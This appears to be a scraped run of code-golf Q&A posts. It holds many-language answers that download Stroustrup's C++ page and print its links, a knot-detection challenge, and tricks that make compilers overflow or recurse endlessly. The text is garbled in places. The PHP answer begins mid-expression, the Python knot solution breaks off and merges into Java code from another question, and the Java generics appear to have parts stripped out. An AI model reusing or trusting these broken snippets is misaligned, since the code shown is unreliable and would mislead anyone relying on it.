parse the result.\n```\ndomain=\"www.stroustrup.com\"\npath=\"C++.html\"\nexec 3<> /dev/tcp/$domain/80\nprintf \"GET /$path HTTP/1.1\\r\\nhost: %s\\r\\nConnection: close\\r\\n\\r\\n\" \"$domain\" >&3\nwhile read -u3; do\n if [[ \"$REPLY\" =~ http://[^\\\"]* ]]; then\n printf '%s\\n' \"$BASH_REMATCH\"\n fi\ndone\n```\nMeh - I suppose it could be more readable...\n[Answer]\n# Python 2\n```\nimport urllib2 as u, re\ns = \"http://www.stroustrup.com/C++.html\"\nw = u.urlopen(s)\nh = w.read()\nl = re.findall('\"((http)s?://.*?)\"', h)\nprint l\n```\nLame, but works\n[Answer]\n# C#\n```\nusing System;\nusing System.Net;\nusing System.Text.RegularExpressions;\nstring html = new WebClient().DownloadString(\"http://www.stroustrup.com/C++.html\");\nforeach (Match match in Regex.Matches(html, @\"https?://[^\"\"]+\"))\n Console.WriteLine(match);\n```\n[Answer]\n# \"No third-party\" is a fallacy\nI think the \"no third-party\" assumption is a fallacy. And is a specific fallacy that afflicts C++ developers, since it's so hard to make reusable code in C++. When you are developing anything at all, even if it's a small script, you will always make use of whatever pieces of reusable code are available to you.\nThe thing is, in languages like Perl, Python, Ruby (to name a few), reusing someone else's code is not only easy, but it is how most people actually write code most of the time.\nC++, with its nearly impossible-to-maintain-compatible-ABI-requirements makes that a much tougher job, you end up with a project like Boost, which is a monstrous repository of code and very little composability outside it.\n## A CPAN example\nJust for the fun of it, here goes a CPAN-based example, with proper parsing of the html, instead of [trying to use regex to parse html](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags)\n```\n#!/usr/bin/perl\nuse HTML::LinkExtor;\nsub callback {\n my ($tag, %links) = @_;\n print map { \"$_\\n\" } values %links\n}\n$p = HTML::LinkExtor->new(\\&callback, \"http://www.stroustrup.com/C++.html\");\n```\n[Answer]\n# UNIX shell\n```\nlynx -dump http://www.stroustrup.com/C++.html | grep -o '\\w*://.*'\n```\nAlso finds an `ftp://` link :)\nAnother way, without relying on `://` syntax:\n```\nlynx -dump -listonly http://www.stroustrup.com/C++.html | sed -n 's/^[ 0-9.]\\+//p'\n```\n[Answer]\n# CSS 3\n```\n* {\n margin: 0;\n padding: 0;\n}\n*:not(a) {\n font: 0/0 monospace;\n color: transparent;\n background: transparent !important;\n}\na {\n content: \"\";\n}\na[href*=\"://\"]::after {\n content: attr(href);\n float: left;\n clear: left;\n display: block;\n font: 12px monospace;\n color: black;\n}\n```\nThis code can be used as a user style to display only absolute links on a page in an unformatted list. It may not work correctly if your browser enforces minimum font size.\nIt works correctly with `http://www.stroustrup.com/C++.html` (note `!important` on `background`). In order to work on other pages with more styles, it must be extended (reset more properties, mark properties as important etc.).\nAlternative version which includes relative links except intrapage links starting with hashes (it relies on a hard-coded absolute link, unfortunately):\n```\n* {\n margin: 0;\n padding: 0;\n}\n*:not(a) {\n font: 0/0 monospace;\n color: transparent;\n background: transparent !important;\n float: none !important;\n width: auto !important;\n border: none !important;\n}\na {\n content: \"\";\n}\na::after {\n display: none;\n}\na:not([href^=\"#\"])::after {\n content: attr(href);\n float: left;\n clear: left;\n display: block;\n font: 12px monospace;\n color: black;\n}\na:not([href*=\"://\"])::after {\n content: \"http://www.stroustrup.com/\" attr(href);\n}\n```\n[Answer]\n# Clojure\n```\n(->> (slurp \"http://www.stroustrup.com\")\n (re-seq #\"(?:http://)?www(?:[./#\\+-]\\w*)+\"))\n```\n[Answer]\n## Emacs Lisp\n```\n(with-current-buffer (url-retrieve-synchronously \"http://www.stroustrup.com/C++.html\")\n (while (re-search-forward \"https?://[^\\\\\\\"]*\")\n (print (match-string 0))))\n```\n[Answer]\n**Scala**\n```\n\"\"\"\\\"(https?://.*?)\\\"\"\"\".r.findAllIn(scala.io.Source.fromURL(\"http://www.stroustrup.com/C++.html\").mkString).foreach(println)\n```\n[Answer]\n# PHP 5\n```\na.matchAll(regex(`getElementsByTagName('a') as $a) {\n if (in_array(parse_url($url = $a->getAttribute('href'), PHP_URL_SCHEME), ['http', 'https'], true)) {\n echo $url, PHP_EOL;\n }\n}\n```\nThe inner loop could be shortened to:\n```\npreg_match('~^https?://~', $url = $a->getAttribute('href')) && printf(\"%s\\n\", $url);\n```\n[Answer]\n# Unix Shell\n```\nwget -q -O - http://www.stroustrup.com/C++.html | sed -n '/http:/s/.*href=\"\\([^\"]*\\)\".*/\\1/p' | sort\n```\nThough i have to admit this doesn't work if there's more than one link on a line.\n[Answer]\n# Java\n```\nimport java.util.regex.*;\nclass M{\n public static void main(String[]v)throws Throwable{\n Matcher m = Pattern.compile( \"\\\"((http)s?://.*?)\\\"\" )\n .matcher(\n new Scanner(\n new URL( \"http://www.stroustrup.com/C++.html\" )\n .openStream(),\n \"UTF-8\")\n .useDelimiter(\"\\\\A\")\n .next());\n while(m.find())\n System.out.println(m.group());\n }\n}\n```\n[Answer]\n# Groovy\n```\n\"http://www.stroustrup.com/C++.html\".toURL().text.findAll(/https?:\\/\\/[^\"]+/).each{println it}\n```\n[Answer]\n# SQL (SQL Anywhere 16)\n## Define a stored procedure to fetch the web page\n```\nCREATE OR REPLACE PROCEDURE CPPWebPage()\nURL 'http://www.stroustrup.com/C++.html'\nTYPE 'HTTP';\n```\n## Produce the result set using a single query\n```\nSELECT REGEXP_SUBSTR(Value,'\"https?://[^\"\"]+\"',1,row_num) AS Link \nFROM (SELECT Value FROM CPPWebPage() WITH (Attribute LONG VARCHAR, Value LONG VARCHAR) \n WHERE Attribute = 'Body') WebPage, \n sa_rowgenerator( 1, 256 ) \nWHERE Link IS NOT NULL;\n```\nLimitations: This produces up to 256 links. If more links exist, then bump up the 256 to an appropriate value.\n[Answer]\n# CoffeeScript / NodeJS\n```\nrequire('http').get 'http://www.stroustrup.com/C++.html', (r) ->\n dt = '';\n r.on 'data', (d) -> dt += d\n r.on 'end' , (d) -> console.log dt.match /\"((http)s?:\\/\\/.*?)\"/g\n \n```\n[Answer]\n## Perl\n```\nuse LWP;\nuse feature 'say';\nmy $agent = new LWP::UserAgent();\nmy $response = $agent->get('http://www.stroustrup.com/C++.html');\nsay for $response->content =~ m<\"(https?://.+?)\">g;\n```\n[Answer]\n# R\n```\nhtml<-paste(readLines(\"http://www.stroustrup.com/C++.html\"),collapse=\"\\n\")\nregmatches(html,gregexpr(\"http[^([:blank:]|\\\\\\\"|<|&|#\\n\\r)]+\",html))\n```\n...although R is written mainly in C... so probably a few lines of C code behind those 2 lines of R code.\n[Answer]\n**Objective-C**\n```\nNSString *s;\nfor (id m in [[NSRegularExpression regularExpressionWithPattern:@\"\\\"((http)s?://.*?)\\\"\" options:0 error:nil] matchesInString:(s=[NSString stringWithContentsOfURL:[NSURL URLWithString:@\"http://www.stroustrup.com/C++.html\"]])]){\n NSLog(@\"%@\",[s substringWithRange:[m range]]);\n}\n```\n[Answer]\n## Tcl\n```\npackage require http\nset html [http::data [http::geturl http://www.stroustrup.com/C++.html]]\nputs [join [regexp -inline -all {(?:http://)?www(?:[./#\\+-]\\w*)+} $html] \\n]\n```\n[Answer]\n# Go\n```\npackage main\nimport (\n \"fmt\"\n \"io/ioutil\"\n \"net/http\"\n \"os\"\n \"regexp\"\n)\nfunc main() {\n resp, err := http.Get(\"http://www.stroustrup.com/C++.html\")\n if err != nil {\n fmt.Fprintln(os.Stderr, err)\n os.Exit(1)\n }\n defer resp.Body.Close()\n data, _ := ioutil.ReadAll(resp.Body)\n results := regexp.MustCompile(`https?://[^\"\"]+`).FindAll(data, -1)\n for _, row := range results {\n fmt.Println(string(row))\n }\n}\n```\n**P.S.** this code reads entire source into memory, so consider using `regexp.FindReaderIndex` to search in stream, that'll make the app bulletproof.\n[Answer]\n# CJam\nCJam does not have regex so I had to use a different approach in this one:\n```\n\"http://www.stroustrup.com/C++.html\"g''/'\"*'\"/(;2%{_\"http://\"#!\\\"https://\"#!e|},N*\n```\nI first convert all `'` to `\"`, then I split on all `\"`, take every alternative string and then finally filter that list for strings starting with `http://` or `https://`. After that, simply print each filtered string on a new line.\nTry it using the [Java interpreter](http://sourceforge.net/p/cjam/wiki/Home/) like\n```\njava -jar cjam-0.6.2.jar file.cjam\n```\nwhere file.cjam has the contents of the code above.\n[Answer]\n# F#\nThis code could be far shorter but I would write something like this if I ever expected to have to read or use this code again so it has many unnecessary type annotations. It demonstrates the use of an active pattern *MatchValue* to enable pattern-matching against the standard CLR type *Match*\n```\nopen System.Net\nlet (|MatchValue|) (reMatch: Match) : string = reMatch.Value\nlet getHtml (uri : string) : string = \n use webClient = WebClient() in\n let html : string = webClient.DownloadString(uri)\n html\nlet getLinks (uri : string) : string list =\n let html : string = getHtml uri\n let matches : MatchCollection = Regex.Matches(html, @\"https?://[^\"\"]+\") \n let links = [ for MatchValue reMatch in matches do yield reMatch ]\n links\nlet links = getLinks \"http://www.stroustrup.com/C++.html\" \nfor link in links do\n Console.WriteLine(link)\n```\n**Edit**\nI made getLinks its own function\n]"}}},{"rowIdx":54,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWrite a program that processes an ASCII art representation of a tangled string and decides whether or not it can be untangled into a simple loop. The tangle is represented using the characters `-` and `|` to represent horizontal and vertical segments, and `+` to represent corners. Places where the string passes over itself are represented as follows:\n```\n | | \n ------- ---|---\n | | \n(Horizontal segment on top) (Vertical segment on top)\n```\nThe ends of the string are connected together; there are no loose ends.\nIf your program decides that the string cannot be untangled into a simple loop, it should output the word `KNOT`. Otherwise, it should output the word `NOT`.\n**This is a [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\") challenge, so the shortest valid answer (measured in bytes of source code) will win.**\n### Limits\nThe ASCII input will consist of up to 25 lines of 80 characters. You may assume that all the lines are padded with spaces to the same length.\n### Examples\n**Input:**\n```\n+-------+ +-------+ \n| | | | \n| +---|----+ +-------+\n| | | | | |\n+-------|------------|---+\n | | | | \n +---+ +---+ \n```\n**Output:**\n```\nKNOT\n```\n**Input:**\n```\n+----------+ \n| | \n| +--------------+\n| | | |\n| | +-|----+ |\n| | | | | |\n| +-----+ | |\n| | | |\n| +------|---+\n| | \n+---------------+ \n```\n**Output:**\n```\nNOT\n```\n### References\n* \n* \n* \n \n[Answer]\n# Python 3, ~~457~~ ~~316~~ 306 bytes\n```\nE=enumerate\nV={'+'}\nQ=[[(-j,i,k)for i,u in E(open(0))for j,v in E(u)for k in[{v}&V,'join'][u[j:j+2]=='|-']]]\nwhile Q:\n a,b,c,d,*e=A=tuple(x//2for y,x in sorted((y,x)for x,y in E(Q.pop())));e or exit('NOT')\n if{A}-V:V|={A};Q+=[[c,d,a,b]+e,A,A[2:]+A[:2]][a{}class Bextends A>>>{A>a=new B<>();}\n```\nThis terminates with a `StackOverflowError` which happens because the generic resolution system can't decide a root against which to resolve the other generics.\n[Credits where due](https://www.reddit.com/r/programming/comments/mlbna/scala_feels_like_ejb_2/c31z0co/).\n## What happens here?\n1. `A` is just there to have a 1-letter parent. It's generic. I could have used `List`, but the imports and repetition of 4 letters are too long.\n2. `B` declares a basic generic.\n3. `B extends A` is required to have a hierarchy between `B` and `A`.\n4. `extends A
` creates a self reference on `A`.\n5. `A` triggers the lookup for generics on `A`\n6. `B>` creates a self-reference on `B`.\n7. `A<...> a=new B<>()` forces the usage of the generics, instead of simply the definition of those, forcing the resolution when compiling `B`, and not afterwards.\n8. `A` creates a non-self-reference, so we have both a reference to one type and to another in the generics of `B`.\nNow, the type `A` has generics type `A` and `B`, but which is to be chosen? Forget about self, let's try to resolve `B`. Ping.\nOkay, `B` has generics type `A` and `B`, but which is to be chosen? Forget about self, let's try to resolve `A`. Pong.\nThis kind of recursion can't really be avoided because there are legitimate cases like `A>>>>>`: for example a JSON object: `List>>>>>`.\n## Compilation result\n```\n$ javac NoCompile.java\nThe system is out of resources.\nConsult the following stack trace for details.\njava.lang.StackOverflowError\n at com.sun.tools.javac.code.Types$UnaryVisitor.visit(Types.java:3260)\n at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2587)\n at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2579)\n at com.sun.tools.javac.code.Type$ClassType.accept(Type.java:554)\n at com.sun.tools.javac.code.Types$UnaryVisitor.visit(Types.java:3260)\n at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2592)\n at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2579)\n at com.sun.tools.javac.code.Type$ClassType.accept(Type.java:554)\n```\nOn my system, the stack trace stops after showing 1024 lines, which are actually the 4 same lines repeated 256 times, thus proving an infinite recursion. I'll spare you that whole trace.\n## Savings\n1. 102 → 95 bytes: replaced `interface`+`implements` with `class`+`extends`.\n2. 95 → 89 bytes: replaced `Long` with `A` (twice).\n3. 89 → 88 bytes: used diamond operator (`new B()` → `new B<>()`) .\n4. 88 → 78 bytes: moved the variable declaration to a class member, thanks to [VoteToClose](https://codegolf.stackexchange.com/users/44713/votetoclose).\n[Answer]\n## C, 18 bytes\n```\n#include __FILE__\n```\nCompilers will usually give up after recursing about 200 times.\nDoes DOM construction count as a compilation step? If so, then `x.htm`:\n```\n